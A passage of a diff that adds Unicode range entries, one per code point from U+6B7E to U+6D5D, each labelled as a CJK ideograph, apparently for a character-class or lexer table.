+ ["\u6B7E", "\u6B7E"], /* CJK Ideograph */
+ ["\u6B7F", "\u6B7F"], /* CJK Ideograph */
+ ["\u6B80", "\u6B80"], /* CJK Ideograph */
+ ["\u6B81", "\u6B81"], /* CJK Ideograph */
+ ["\u6B82", "\u6B82"], /* CJK Ideograph */
+ ["\u6B83", "\u6B83"], /* CJK Ideograph */
+ ["\u6B84", "\u6B84"], /* CJK Ideograph */
+ ["\u6B85", "\u6B85"], /* CJK Ideograph */
+ ["\u6B86", "\u6B86"], /* CJK Ideograph */
+ ["\u6B87", "\u6B87"], /* CJK Ideograph */
+ ["\u6B88", "\u6B88"], /* CJK Ideograph */
+ ["\u6B89", "\u6B89"], /* CJK Ideograph */
+ ["\u6B8A", "\u6B8A"], /* CJK Ideograph */
+ ["\u6B8B", "\u6B8B"], /* CJK Ideograph */
+ ["\u6B8C", "\u6B8C"], /* CJK Ideograph */
+ ["\u6B8D", "\u6B8D"], /* CJK Ideograph */
+ ["\u6B8E", "\u6B8E"], /* CJK Ideograph */
+ ["\u6B8F", "\u6B8F"], /* CJK Ideograph */
+ ["\u6B90", "\u6B90"], /* CJK Ideograph */
+ ["\u6B91", "\u6B91"], /* CJK Ideograph */
+ ["\u6B92", "\u6B92"], /* CJK Ideograph */
+ ["\u6B93", "\u6B93"], /* CJK Ideograph */
+ ["\u6B94", "\u6B94"], /* CJK Ideograph */
+ ["\u6B95", "\u6B95"], /* CJK Ideograph */
+ ["\u6B96", "\u6B96"], /* CJK Ideograph */
+ ["\u6B97", "\u6B97"], /* CJK Ideograph */
+ ["\u6B98", "\u6B98"], /* CJK Ideograph */
+ ["\u6B99", "\u6B99"], /* CJK Ideograph */
+ ["\u6B9A", "\u6B9A"], /* CJK Ideograph */
+ ["\u6B9B", "\u6B9B"], /* CJK Ideograph */
+ ["\u6B9C", "\u6B9C"], /* CJK Ideograph */
+ ["\u6B9D", "\u6B9D"], /* CJK Ideograph */
+ ["\u6B9E", "\u6B9E"], /* CJK Ideograph */
+ ["\u6B9F", "\u6B9F"], /* CJK Ideograph */
+ ["\u6BA0", "\u6BA0"], /* CJK Ideograph */
+ ["\u6BA1", "\u6BA1"], /* CJK Ideograph */
+ ["\u6BA2", "\u6BA2"], /* CJK Ideograph */
+ ["\u6BA3", "\u6BA3"], /* CJK Ideograph */
+ ["\u6BA4", "\u6BA4"], /* CJK Ideograph */
+ ["\u6BA5", "\u6BA5"], /* CJK Ideograph */
+ ["\u6BA6", "\u6BA6"], /* CJK Ideograph */
+ ["\u6BA7", "\u6BA7"], /* CJK Ideograph */
+ ["\u6BA8", "\u6BA8"], /* CJK Ideograph */
+ ["\u6BA9", "\u6BA9"], /* CJK Ideograph */
+ ["\u6BAA", "\u6BAA"], /* CJK Ideograph */
+ ["\u6BAB", "\u6BAB"], /* CJK Ideograph */
+ ["\u6BAC", "\u6BAC"], /* CJK Ideograph */
+ ["\u6BAD", "\u6BAD"], /* CJK Ideograph */
+ ["\u6BAE", "\u6BAE"], /* CJK Ideograph */
+ ["\u6BAF", "\u6BAF"], /* CJK Ideograph */
+ ["\u6BB0", "\u6BB0"], /* CJK Ideograph */
+ ["\u6BB1", "\u6BB1"], /* CJK Ideograph */
+ ["\u6BB2", "\u6BB2"], /* CJK Ideograph */
+ ["\u6BB3", "\u6BB3"], /* CJK Ideograph */
+ ["\u6BB4", "\u6BB4"], /* CJK Ideograph */
+ ["\u6BB5", "\u6BB5"], /* CJK Ideograph */
+ ["\u6BB6", "\u6BB6"], /* CJK Ideograph */
+ ["\u6BB7", "\u6BB7"], /* CJK Ideograph */
+ ["\u6BB8", "\u6BB8"], /* CJK Ideograph */
+ ["\u6BB9", "\u6BB9"], /* CJK Ideograph */
+ ["\u6BBA", "\u6BBA"], /* CJK Ideograph */
+ ["\u6BBB", "\u6BBB"], /* CJK Ideograph */
+ ["\u6BBC", "\u6BBC"], /* CJK Ideograph */
+ ["\u6BBD", "\u6BBD"], /* CJK Ideograph */
+ ["\u6BBE", "\u6BBE"], /* CJK Ideograph */
+ ["\u6BBF", "\u6BBF"], /* CJK Ideograph */
+ ["\u6BC0", "\u6BC0"], /* CJK Ideograph */
+ ["\u6BC1", "\u6BC1"], /* CJK Ideograph */
+ ["\u6BC2", "\u6BC2"], /* CJK Ideograph */
+ ["\u6BC3", "\u6BC3"], /* CJK Ideograph */
+ ["\u6BC4", "\u6BC4"], /* CJK Ideograph */
+ ["\u6BC5", "\u6BC5"], /* CJK Ideograph */
+ ["\u6BC6", "\u6BC6"], /* CJK Ideograph */
+ ["\u6BC7", "\u6BC7"], /* CJK Ideograph */
+ ["\u6BC8", "\u6BC8"], /* CJK Ideograph */
+ ["\u6BC9", "\u6BC9"], /* CJK Ideograph */
+ ["\u6BCA", "\u6BCA"], /* CJK Ideograph */
+ ["\u6BCB", "\u6BCB"], /* CJK Ideograph */
+ ["\u6BCC", "\u6BCC"], /* CJK Ideograph */
+ ["\u6BCD", "\u6BCD"], /* CJK Ideograph */
+ ["\u6BCE", "\u6BCE"], /* CJK Ideograph */
+ ["\u6BCF", "\u6BCF"], /* CJK Ideograph */
+ ["\u6BD0", "\u6BD0"], /* CJK Ideograph */
+ ["\u6BD1", "\u6BD1"], /* CJK Ideograph */
+ ["\u6BD2", "\u6BD2"], /* CJK Ideograph */
+ ["\u6BD3", "\u6BD3"], /* CJK Ideograph */
+ ["\u6BD4", "\u6BD4"], /* CJK Ideograph */
+ ["\u6BD5", "\u6BD5"], /* CJK Ideograph */
+ ["\u6BD6", "\u6BD6"], /* CJK Ideograph */
+ ["\u6BD7", "\u6BD7"], /* CJK Ideograph */
+ ["\u6BD8", "\u6BD8"], /* CJK Ideograph */
+ ["\u6BD9", "\u6BD9"], /* CJK Ideograph */
+ ["\u6BDA", "\u6BDA"], /* CJK Ideograph */
+ ["\u6BDB", "\u6BDB"], /* CJK Ideograph */
+ ["\u6BDC", "\u6BDC"], /* CJK Ideograph */
+ ["\u6BDD", "\u6BDD"], /* CJK Ideograph */
+ ["\u6BDE", "\u6BDE"], /* CJK Ideograph */
+ ["\u6BDF", "\u6BDF"], /* CJK Ideograph */
+ ["\u6BE0", "\u6BE0"], /* CJK Ideograph */
+ ["\u6BE1", "\u6BE1"], /* CJK Ideograph */
+ ["\u6BE2", "\u6BE2"], /* CJK Ideograph */
+ ["\u6BE3", "\u6BE3"], /* CJK Ideograph */
+ ["\u6BE4", "\u6BE4"], /* CJK Ideograph */
+ ["\u6BE5", "\u6BE5"], /* CJK Ideograph */
+ ["\u6BE6", "\u6BE6"], /* CJK Ideograph */
+ ["\u6BE7", "\u6BE7"], /* CJK Ideograph */
+ ["\u6BE8", "\u6BE8"], /* CJK Ideograph */
+ ["\u6BE9", "\u6BE9"], /* CJK Ideograph */
+ ["\u6BEA", "\u6BEA"], /* CJK Ideograph */
+ ["\u6BEB", "\u6BEB"], /* CJK Ideograph */
+ ["\u6BEC", "\u6BEC"], /* CJK Ideograph */
+ ["\u6BED", "\u6BED"], /* CJK Ideograph */
+ ["\u6BEE", "\u6BEE"], /* CJK Ideograph */
+ ["\u6BEF", "\u6BEF"], /* CJK Ideograph */
+ ["\u6BF0", "\u6BF0"], /* CJK Ideograph */
+ ["\u6BF1", "\u6BF1"], /* CJK Ideograph */
+ ["\u6BF2", "\u6BF2"], /* CJK Ideograph */
+ ["\u6BF3", "\u6BF3"], /* CJK Ideograph */
+ ["\u6BF4", "\u6BF4"], /* CJK Ideograph */
+ ["\u6BF5", "\u6BF5"], /* CJK Ideograph */
+ ["\u6BF6", "\u6BF6"], /* CJK Ideograph */
+ ["\u6BF7", "\u6BF7"], /* CJK Ideograph */
+ ["\u6BF8", "\u6BF8"], /* CJK Ideograph */
+ ["\u6BF9", "\u6BF9"], /* CJK Ideograph */
+ ["\u6BFA", "\u6BFA"], /* CJK Ideograph */
+ ["\u6BFB", "\u6BFB"], /* CJK Ideograph */
+ ["\u6BFC", "\u6BFC"], /* CJK Ideograph */
+ ["\u6BFD", "\u6BFD"], /* CJK Ideograph */
+ ["\u6BFE", "\u6BFE"], /* CJK Ideograph */
+ ["\u6BFF", "\u6BFF"], /* CJK Ideograph */
+ ["\u6C00", "\u6C00"], /* CJK Ideograph */
+ ["\u6C01", "\u6C01"], /* CJK Ideograph */
+ ["\u6C02", "\u6C02"], /* CJK Ideograph */
+ ["\u6C03", "\u6C03"], /* CJK Ideograph */
+ ["\u6C04", "\u6C04"], /* CJK Ideograph */
+ ["\u6C05", "\u6C05"], /* CJK Ideograph */
+ ["\u6C06", "\u6C06"], /* CJK Ideograph */
+ ["\u6C07", "\u6C07"], /* CJK Ideograph */
+ ["\u6C08", "\u6C08"], /* CJK Ideograph */
+ ["\u6C09", "\u6C09"], /* CJK Ideograph */
+ ["\u6C0A", "\u6C0A"], /* CJK Ideograph */
+ ["\u6C0B", "\u6C0B"], /* CJK Ideograph */
+ ["\u6C0C", "\u6C0C"], /* CJK Ideograph */
+ ["\u6C0D", "\u6C0D"], /* CJK Ideograph */
+ ["\u6C0E", "\u6C0E"], /* CJK Ideograph */
+ ["\u6C0F", "\u6C0F"], /* CJK Ideograph */
+ ["\u6C10", "\u6C10"], /* CJK Ideograph */
+ ["\u6C11", "\u6C11"], /* CJK Ideograph */
+ ["\u6C12", "\u6C12"], /* CJK Ideograph */
+ ["\u6C13", "\u6C13"], /* CJK Ideograph */
+ ["\u6C14", "\u6C14"], /* CJK Ideograph */
+ ["\u6C15", "\u6C15"], /* CJK Ideograph */
+ ["\u6C16", "\u6C16"], /* CJK Ideograph */
+ ["\u6C17", "\u6C17"], /* CJK Ideograph */
+ ["\u6C18", "\u6C18"], /* CJK Ideograph */
+ ["\u6C19", "\u6C19"], /* CJK Ideograph */
+ ["\u6C1A", "\u6C1A"], /* CJK Ideograph */
+ ["\u6C1B", "\u6C1B"], /* CJK Ideograph */
+ ["\u6C1C", "\u6C1C"], /* CJK Ideograph */
+ ["\u6C1D", "\u6C1D"], /* CJK Ideograph */
+ ["\u6C1E", "\u6C1E"], /* CJK Ideograph */
+ ["\u6C1F", "\u6C1F"], /* CJK Ideograph */
+ ["\u6C20", "\u6C20"], /* CJK Ideograph */
+ ["\u6C21", "\u6C21"], /* CJK Ideograph */
+ ["\u6C22", "\u6C22"], /* CJK Ideograph */
+ ["\u6C23", "\u6C23"], /* CJK Ideograph */
+ ["\u6C24", "\u6C24"], /* CJK Ideograph */
+ ["\u6C25", "\u6C25"], /* CJK Ideograph */
+ ["\u6C26", "\u6C26"], /* CJK Ideograph */
+ ["\u6C27", "\u6C27"], /* CJK Ideograph */
+ ["\u6C28", "\u6C28"], /* CJK Ideograph */
+ ["\u6C29", "\u6C29"], /* CJK Ideograph */
+ ["\u6C2A", "\u6C2A"], /* CJK Ideograph */
+ ["\u6C2B", "\u6C2B"], /* CJK Ideograph */
+ ["\u6C2C", "\u6C2C"], /* CJK Ideograph */
+ ["\u6C2D", "\u6C2D"], /* CJK Ideograph */
+ ["\u6C2E", "\u6C2E"], /* CJK Ideograph */
+ ["\u6C2F", "\u6C2F"], /* CJK Ideograph */
+ ["\u6C30", "\u6C30"], /* CJK Ideograph */
+ ["\u6C31", "\u6C31"], /* CJK Ideograph */
+ ["\u6C32", "\u6C32"], /* CJK Ideograph */
+ ["\u6C33", "\u6C33"], /* CJK Ideograph */
+ ["\u6C34", "\u6C34"], /* CJK Ideograph */
+ ["\u6C35", "\u6C35"], /* CJK Ideograph */
+ ["\u6C36", "\u6C36"], /* CJK Ideograph */
+ ["\u6C37", "\u6C37"], /* CJK Ideograph */
+ ["\u6C38", "\u6C38"], /* CJK Ideograph */
+ ["\u6C39", "\u6C39"], /* CJK Ideograph */
+ ["\u6C3A", "\u6C3A"], /* CJK Ideograph */
+ ["\u6C3B", "\u6C3B"], /* CJK Ideograph */
+ ["\u6C3C", "\u6C3C"], /* CJK Ideograph */
+ ["\u6C3D", "\u6C3D"], /* CJK Ideograph */
+ ["\u6C3E", "\u6C3E"], /* CJK Ideograph */
+ ["\u6C3F", "\u6C3F"], /* CJK Ideograph */
+ ["\u6C40", "\u6C40"], /* CJK Ideograph */
+ ["\u6C41", "\u6C41"], /* CJK Ideograph */
+ ["\u6C42", "\u6C42"], /* CJK Ideograph */
+ ["\u6C43", "\u6C43"], /* CJK Ideograph */
+ ["\u6C44", "\u6C44"], /* CJK Ideograph */
+ ["\u6C45", "\u6C45"], /* CJK Ideograph */
+ ["\u6C46", "\u6C46"], /* CJK Ideograph */
+ ["\u6C47", "\u6C47"], /* CJK Ideograph */
+ ["\u6C48", "\u6C48"], /* CJK Ideograph */
+ ["\u6C49", "\u6C49"], /* CJK Ideograph */
+ ["\u6C4A", "\u6C4A"], /* CJK Ideograph */
+ ["\u6C4B", "\u6C4B"], /* CJK Ideograph */
+ ["\u6C4C", "\u6C4C"], /* CJK Ideograph */
+ ["\u6C4D", "\u6C4D"], /* CJK Ideograph */
+ ["\u6C4E", "\u6C4E"], /* CJK Ideograph */
+ ["\u6C4F", "\u6C4F"], /* CJK Ideograph */
+ ["\u6C50", "\u6C50"], /* CJK Ideograph */
+ ["\u6C51", "\u6C51"], /* CJK Ideograph */
+ ["\u6C52", "\u6C52"], /* CJK Ideograph */
+ ["\u6C53", "\u6C53"], /* CJK Ideograph */
+ ["\u6C54", "\u6C54"], /* CJK Ideograph */
+ ["\u6C55", "\u6C55"], /* CJK Ideograph */
+ ["\u6C56", "\u6C56"], /* CJK Ideograph */
+ ["\u6C57", "\u6C57"], /* CJK Ideograph */
+ ["\u6C58", "\u6C58"], /* CJK Ideograph */
+ ["\u6C59", "\u6C59"], /* CJK Ideograph */
+ ["\u6C5A", "\u6C5A"], /* CJK Ideograph */
+ ["\u6C5B", "\u6C5B"], /* CJK Ideograph */
+ ["\u6C5C", "\u6C5C"], /* CJK Ideograph */
+ ["\u6C5D", "\u6C5D"], /* CJK Ideograph */
+ ["\u6C5E", "\u6C5E"], /* CJK Ideograph */
+ ["\u6C5F", "\u6C5F"], /* CJK Ideograph */
+ ["\u6C60", "\u6C60"], /* CJK Ideograph */
+ ["\u6C61", "\u6C61"], /* CJK Ideograph */
+ ["\u6C62", "\u6C62"], /* CJK Ideograph */
+ ["\u6C63", "\u6C63"], /* CJK Ideograph */
+ ["\u6C64", "\u6C64"], /* CJK Ideograph */
+ ["\u6C65", "\u6C65"], /* CJK Ideograph */
+ ["\u6C66", "\u6C66"], /* CJK Ideograph */
+ ["\u6C67", "\u6C67"], /* CJK Ideograph */
+ ["\u6C68", "\u6C68"], /* CJK Ideograph */
+ ["\u6C69", "\u6C69"], /* CJK Ideograph */
+ ["\u6C6A", "\u6C6A"], /* CJK Ideograph */
+ ["\u6C6B", "\u6C6B"], /* CJK Ideograph */
+ ["\u6C6C", "\u6C6C"], /* CJK Ideograph */
+ ["\u6C6D", "\u6C6D"], /* CJK Ideograph */
+ ["\u6C6E", "\u6C6E"], /* CJK Ideograph */
+ ["\u6C6F", "\u6C6F"], /* CJK Ideograph */
+ ["\u6C70", "\u6C70"], /* CJK Ideograph */
+ ["\u6C71", "\u6C71"], /* CJK Ideograph */
+ ["\u6C72", "\u6C72"], /* CJK Ideograph */
+ ["\u6C73", "\u6C73"], /* CJK Ideograph */
+ ["\u6C74", "\u6C74"], /* CJK Ideograph */
+ ["\u6C75", "\u6C75"], /* CJK Ideograph */
+ ["\u6C76", "\u6C76"], /* CJK Ideograph */
+ ["\u6C77", "\u6C77"], /* CJK Ideograph */
+ ["\u6C78", "\u6C78"], /* CJK Ideograph */
+ ["\u6C79", "\u6C79"], /* CJK Ideograph */
+ ["\u6C7A", "\u6C7A"], /* CJK Ideograph */
+ ["\u6C7B", "\u6C7B"], /* CJK Ideograph */
+ ["\u6C7C", "\u6C7C"], /* CJK Ideograph */
+ ["\u6C7D", "\u6C7D"], /* CJK Ideograph */
+ ["\u6C7E", "\u6C7E"], /* CJK Ideograph */
+ ["\u6C7F", "\u6C7F"], /* CJK Ideograph */
+ ["\u6C80", "\u6C80"], /* CJK Ideograph */
+ ["\u6C81", "\u6C81"], /* CJK Ideograph */
+ ["\u6C82", "\u6C82"], /* CJK Ideograph */
+ ["\u6C83", "\u6C83"], /* CJK Ideograph */
+ ["\u6C84", "\u6C84"], /* CJK Ideograph */
+ ["\u6C85", "\u6C85"], /* CJK Ideograph */
+ ["\u6C86", "\u6C86"], /* CJK Ideograph */
+ ["\u6C87", "\u6C87"], /* CJK Ideograph */
+ ["\u6C88", "\u6C88"], /* CJK Ideograph */
+ ["\u6C89", "\u6C89"], /* CJK Ideograph */
+ ["\u6C8A", "\u6C8A"], /* CJK Ideograph */
+ ["\u6C8B", "\u6C8B"], /* CJK Ideograph */
+ ["\u6C8C", "\u6C8C"], /* CJK Ideograph */
+ ["\u6C8D", "\u6C8D"], /* CJK Ideograph */
+ ["\u6C8E", "\u6C8E"], /* CJK Ideograph */
+ ["\u6C8F", "\u6C8F"], /* CJK Ideograph */
+ ["\u6C90", "\u6C90"], /* CJK Ideograph */
+ ["\u6C91", "\u6C91"], /* CJK Ideograph */
+ ["\u6C92", "\u6C92"], /* CJK Ideograph */
+ ["\u6C93", "\u6C93"], /* CJK Ideograph */
+ ["\u6C94", "\u6C94"], /* CJK Ideograph */
+ ["\u6C95", "\u6C95"], /* CJK Ideograph */
+ ["\u6C96", "\u6C96"], /* CJK Ideograph */
+ ["\u6C97", "\u6C97"], /* CJK Ideograph */
+ ["\u6C98", "\u6C98"], /* CJK Ideograph */
+ ["\u6C99", "\u6C99"], /* CJK Ideograph */
+ ["\u6C9A", "\u6C9A"], /* CJK Ideograph */
+ ["\u6C9B", "\u6C9B"], /* CJK Ideograph */
+ ["\u6C9C", "\u6C9C"], /* CJK Ideograph */
+ ["\u6C9D", "\u6C9D"], /* CJK Ideograph */
+ ["\u6C9E", "\u6C9E"], /* CJK Ideograph */
+ ["\u6C9F", "\u6C9F"], /* CJK Ideograph */
+ ["\u6CA0", "\u6CA0"], /* CJK Ideograph */
+ ["\u6CA1", "\u6CA1"], /* CJK Ideograph */
+ ["\u6CA2", "\u6CA2"], /* CJK Ideograph */
+ ["\u6CA3", "\u6CA3"], /* CJK Ideograph */
+ ["\u6CA4", "\u6CA4"], /* CJK Ideograph */
+ ["\u6CA5", "\u6CA5"], /* CJK Ideograph */
+ ["\u6CA6", "\u6CA6"], /* CJK Ideograph */
+ ["\u6CA7", "\u6CA7"], /* CJK Ideograph */
+ ["\u6CA8", "\u6CA8"], /* CJK Ideograph */
+ ["\u6CA9", "\u6CA9"], /* CJK Ideograph */
+ ["\u6CAA", "\u6CAA"], /* CJK Ideograph */
+ ["\u6CAB", "\u6CAB"], /* CJK Ideograph */
+ ["\u6CAC", "\u6CAC"], /* CJK Ideograph */
+ ["\u6CAD", "\u6CAD"], /* CJK Ideograph */
+ ["\u6CAE", "\u6CAE"], /* CJK Ideograph */
+ ["\u6CAF", "\u6CAF"], /* CJK Ideograph */
+ ["\u6CB0", "\u6CB0"], /* CJK Ideograph */
+ ["\u6CB1", "\u6CB1"], /* CJK Ideograph */
+ ["\u6CB2", "\u6CB2"], /* CJK Ideograph */
+ ["\u6CB3", "\u6CB3"], /* CJK Ideograph */
+ ["\u6CB4", "\u6CB4"], /* CJK Ideograph */
+ ["\u6CB5", "\u6CB5"], /* CJK Ideograph */
+ ["\u6CB6", "\u6CB6"], /* CJK Ideograph */
+ ["\u6CB7", "\u6CB7"], /* CJK Ideograph */
+ ["\u6CB8", "\u6CB8"], /* CJK Ideograph */
+ ["\u6CB9", "\u6CB9"], /* CJK Ideograph */
+ ["\u6CBA", "\u6CBA"], /* CJK Ideograph */
+ ["\u6CBB", "\u6CBB"], /* CJK Ideograph */
+ ["\u6CBC", "\u6CBC"], /* CJK Ideograph */
+ ["\u6CBD", "\u6CBD"], /* CJK Ideograph */
+ ["\u6CBE", "\u6CBE"], /* CJK Ideograph */
+ ["\u6CBF", "\u6CBF"], /* CJK Ideograph */
+ ["\u6CC0", "\u6CC0"], /* CJK Ideograph */
+ ["\u6CC1", "\u6CC1"], /* CJK Ideograph */
+ ["\u6CC2", "\u6CC2"], /* CJK Ideograph */
+ ["\u6CC3", "\u6CC3"], /* CJK Ideograph */
+ ["\u6CC4", "\u6CC4"], /* CJK Ideograph */
+ ["\u6CC5", "\u6CC5"], /* CJK Ideograph */
+ ["\u6CC6", "\u6CC6"], /* CJK Ideograph */
+ ["\u6CC7", "\u6CC7"], /* CJK Ideograph */
+ ["\u6CC8", "\u6CC8"], /* CJK Ideograph */
+ ["\u6CC9", "\u6CC9"], /* CJK Ideograph */
+ ["\u6CCA", "\u6CCA"], /* CJK Ideograph */
+ ["\u6CCB", "\u6CCB"], /* CJK Ideograph */
+ ["\u6CCC", "\u6CCC"], /* CJK Ideograph */
+ ["\u6CCD", "\u6CCD"], /* CJK Ideograph */
+ ["\u6CCE", "\u6CCE"], /* CJK Ideograph */
+ ["\u6CCF", "\u6CCF"], /* CJK Ideograph */
+ ["\u6CD0", "\u6CD0"], /* CJK Ideograph */
+ ["\u6CD1", "\u6CD1"], /* CJK Ideograph */
+ ["\u6CD2", "\u6CD2"], /* CJK Ideograph */
+ ["\u6CD3", "\u6CD3"], /* CJK Ideograph */
+ ["\u6CD4", "\u6CD4"], /* CJK Ideograph */
+ ["\u6CD5", "\u6CD5"], /* CJK Ideograph */
+ ["\u6CD6", "\u6CD6"], /* CJK Ideograph */
+ ["\u6CD7", "\u6CD7"], /* CJK Ideograph */
+ ["\u6CD8", "\u6CD8"], /* CJK Ideograph */
+ ["\u6CD9", "\u6CD9"], /* CJK Ideograph */
+ ["\u6CDA", "\u6CDA"], /* CJK Ideograph */
+ ["\u6CDB", "\u6CDB"], /* CJK Ideograph */
+ ["\u6CDC", "\u6CDC"], /* CJK Ideograph */
+ ["\u6CDD", "\u6CDD"], /* CJK Ideograph */
+ ["\u6CDE", "\u6CDE"], /* CJK Ideograph */
+ ["\u6CDF", "\u6CDF"], /* CJK Ideograph */
+ ["\u6CE0", "\u6CE0"], /* CJK Ideograph */
+ ["\u6CE1", "\u6CE1"], /* CJK Ideograph */
+ ["\u6CE2", "\u6CE2"], /* CJK Ideograph */
+ ["\u6CE3", "\u6CE3"], /* CJK Ideograph */
+ ["\u6CE4", "\u6CE4"], /* CJK Ideograph */
+ ["\u6CE5", "\u6CE5"], /* CJK Ideograph */
+ ["\u6CE6", "\u6CE6"], /* CJK Ideograph */
+ ["\u6CE7", "\u6CE7"], /* CJK Ideograph */
+ ["\u6CE8", "\u6CE8"], /* CJK Ideograph */
+ ["\u6CE9", "\u6CE9"], /* CJK Ideograph */
+ ["\u6CEA", "\u6CEA"], /* CJK Ideograph */
+ ["\u6CEB", "\u6CEB"], /* CJK Ideograph */
+ ["\u6CEC", "\u6CEC"], /* CJK Ideograph */
+ ["\u6CED", "\u6CED"], /* CJK Ideograph */
+ ["\u6CEE", "\u6CEE"], /* CJK Ideograph */
+ ["\u6CEF", "\u6CEF"], /* CJK Ideograph */
+ ["\u6CF0", "\u6CF0"], /* CJK Ideograph */
+ ["\u6CF1", "\u6CF1"], /* CJK Ideograph */
+ ["\u6CF2", "\u6CF2"], /* CJK Ideograph */
+ ["\u6CF3", "\u6CF3"], /* CJK Ideograph */
+ ["\u6CF4", "\u6CF4"], /* CJK Ideograph */
+ ["\u6CF5", "\u6CF5"], /* CJK Ideograph */
+ ["\u6CF6", "\u6CF6"], /* CJK Ideograph */
+ ["\u6CF7", "\u6CF7"], /* CJK Ideograph */
+ ["\u6CF8", "\u6CF8"], /* CJK Ideograph */
+ ["\u6CF9", "\u6CF9"], /* CJK Ideograph */
+ ["\u6CFA", "\u6CFA"], /* CJK Ideograph */
+ ["\u6CFB", "\u6CFB"], /* CJK Ideograph */
+ ["\u6CFC", "\u6CFC"], /* CJK Ideograph */
+ ["\u6CFD", "\u6CFD"], /* CJK Ideograph */
+ ["\u6CFE", "\u6CFE"], /* CJK Ideograph */
+ ["\u6CFF", "\u6CFF"], /* CJK Ideograph */
+ ["\u6D00", "\u6D00"], /* CJK Ideograph */
+ ["\u6D01", "\u6D01"], /* CJK Ideograph */
+ ["\u6D02", "\u6D02"], /* CJK Ideograph */
+ ["\u6D03", "\u6D03"], /* CJK Ideograph */
+ ["\u6D04", "\u6D04"], /* CJK Ideograph */
+ ["\u6D05", "\u6D05"], /* CJK Ideograph */
+ ["\u6D06", "\u6D06"], /* CJK Ideograph */
+ ["\u6D07", "\u6D07"], /* CJK Ideograph */
+ ["\u6D08", "\u6D08"], /* CJK Ideograph */
+ ["\u6D09", "\u6D09"], /* CJK Ideograph */
+ ["\u6D0A", "\u6D0A"], /* CJK Ideograph */
+ ["\u6D0B", "\u6D0B"], /* CJK Ideograph */
+ ["\u6D0C", "\u6D0C"], /* CJK Ideograph */
+ ["\u6D0D", "\u6D0D"], /* CJK Ideograph */
+ ["\u6D0E", "\u6D0E"], /* CJK Ideograph */
+ ["\u6D0F", "\u6D0F"], /* CJK Ideograph */
+ ["\u6D10", "\u6D10"], /* CJK Ideograph */
+ ["\u6D11", "\u6D11"], /* CJK Ideograph */
+ ["\u6D12", "\u6D12"], /* CJK Ideograph */
+ ["\u6D13", "\u6D13"], /* CJK Ideograph */
+ ["\u6D14", "\u6D14"], /* CJK Ideograph */
+ ["\u6D15", "\u6D15"], /* CJK Ideograph */
+ ["\u6D16", "\u6D16"], /* CJK Ideograph */
+ ["\u6D17", "\u6D17"], /* CJK Ideograph */
+ ["\u6D18", "\u6D18"], /* CJK Ideograph */
+ ["\u6D19", "\u6D19"], /* CJK Ideograph */
+ ["\u6D1A", "\u6D1A"], /* CJK Ideograph */
+ ["\u6D1B", "\u6D1B"], /* CJK Ideograph */
+ ["\u6D1C", "\u6D1C"], /* CJK Ideograph */
+ ["\u6D1D", "\u6D1D"], /* CJK Ideograph */
+ ["\u6D1E", "\u6D1E"], /* CJK Ideograph */
+ ["\u6D1F", "\u6D1F"], /* CJK Ideograph */
+ ["\u6D20", "\u6D20"], /* CJK Ideograph */
+ ["\u6D21", "\u6D21"], /* CJK Ideograph */
+ ["\u6D22", "\u6D22"], /* CJK Ideograph */
+ ["\u6D23", "\u6D23"], /* CJK Ideograph */
+ ["\u6D24", "\u6D24"], /* CJK Ideograph */
+ ["\u6D25", "\u6D25"], /* CJK Ideograph */
+ ["\u6D26", "\u6D26"], /* CJK Ideograph */
+ ["\u6D27", "\u6D27"], /* CJK Ideograph */
+ ["\u6D28", "\u6D28"], /* CJK Ideograph */
+ ["\u6D29", "\u6D29"], /* CJK Ideograph */
+ ["\u6D2A", "\u6D2A"], /* CJK Ideograph */
+ ["\u6D2B", "\u6D2B"], /* CJK Ideograph */
+ ["\u6D2C", "\u6D2C"], /* CJK Ideograph */
+ ["\u6D2D", "\u6D2D"], /* CJK Ideograph */
+ ["\u6D2E", "\u6D2E"], /* CJK Ideograph */
+ ["\u6D2F", "\u6D2F"], /* CJK Ideograph */
+ ["\u6D30", "\u6D30"], /* CJK Ideograph */
+ ["\u6D31", "\u6D31"], /* CJK Ideograph */
+ ["\u6D32", "\u6D32"], /* CJK Ideograph */
+ ["\u6D33", "\u6D33"], /* CJK Ideograph */
+ ["\u6D34", "\u6D34"], /* CJK Ideograph */
+ ["\u6D35", "\u6D35"], /* CJK Ideograph */
+ ["\u6D36", "\u6D36"], /* CJK Ideograph */
+ ["\u6D37", "\u6D37"], /* CJK Ideograph */
+ ["\u6D38", "\u6D38"], /* CJK Ideograph */
+ ["\u6D39", "\u6D39"], /* CJK Ideograph */
+ ["\u6D3A", "\u6D3A"], /* CJK Ideograph */
+ ["\u6D3B", "\u6D3B"], /* CJK Ideograph */
+ ["\u6D3C", "\u6D3C"], /* CJK Ideograph */
+ ["\u6D3D", "\u6D3D"], /* CJK Ideograph */
+ ["\u6D3E", "\u6D3E"], /* CJK Ideograph */
+ ["\u6D3F", "\u6D3F"], /* CJK Ideograph */
+ ["\u6D40", "\u6D40"], /* CJK Ideograph */
+ ["\u6D41", "\u6D41"], /* CJK Ideograph */
+ ["\u6D42", "\u6D42"], /* CJK Ideograph */
+ ["\u6D43", "\u6D43"], /* CJK Ideograph */
+ ["\u6D44", "\u6D44"], /* CJK Ideograph */
+ ["\u6D45", "\u6D45"], /* CJK Ideograph */
+ ["\u6D46", "\u6D46"], /* CJK Ideograph */
+ ["\u6D47", "\u6D47"], /* CJK Ideograph */
+ ["\u6D48", "\u6D48"], /* CJK Ideograph */
+ ["\u6D49", "\u6D49"], /* CJK Ideograph */
+ ["\u6D4A", "\u6D4A"], /* CJK Ideograph */
+ ["\u6D4B", "\u6D4B"], /* CJK Ideograph */
+ ["\u6D4C", "\u6D4C"], /* CJK Ideograph */
+ ["\u6D4D", "\u6D4D"], /* CJK Ideograph */
+ ["\u6D4E", "\u6D4E"], /* CJK Ideograph */
+ ["\u6D4F", "\u6D4F"], /* CJK Ideograph */
+ ["\u6D50", "\u6D50"], /* CJK Ideograph */
+ ["\u6D51", "\u6D51"], /* CJK Ideograph */
+ ["\u6D52", "\u6D52"], /* CJK Ideograph */
+ ["\u6D53", "\u6D53"], /* CJK Ideograph */
+ ["\u6D54", "\u6D54"], /* CJK Ideograph */
+ ["\u6D55", "\u6D55"], /* CJK Ideograph */
+ ["\u6D56", "\u6D56"], /* CJK Ideograph */
+ ["\u6D57", "\u6D57"], /* CJK Ideograph */
+ ["\u6D58", "\u6D58"], /* CJK Ideograph */
+ ["\u6D59", "\u6D59"], /* CJK Ideograph */
+ ["\u6D5A", "\u6D5A"], /* CJK Ideograph */
+ ["\u6D5B", "\u6D5B"], /* CJK Ideograph */
+ ["\u6D5C", "\u6D5C"], /* CJK Ideograph */
+ ["\u6D5D", "\u6D5D"], /* CJK Ideograph */
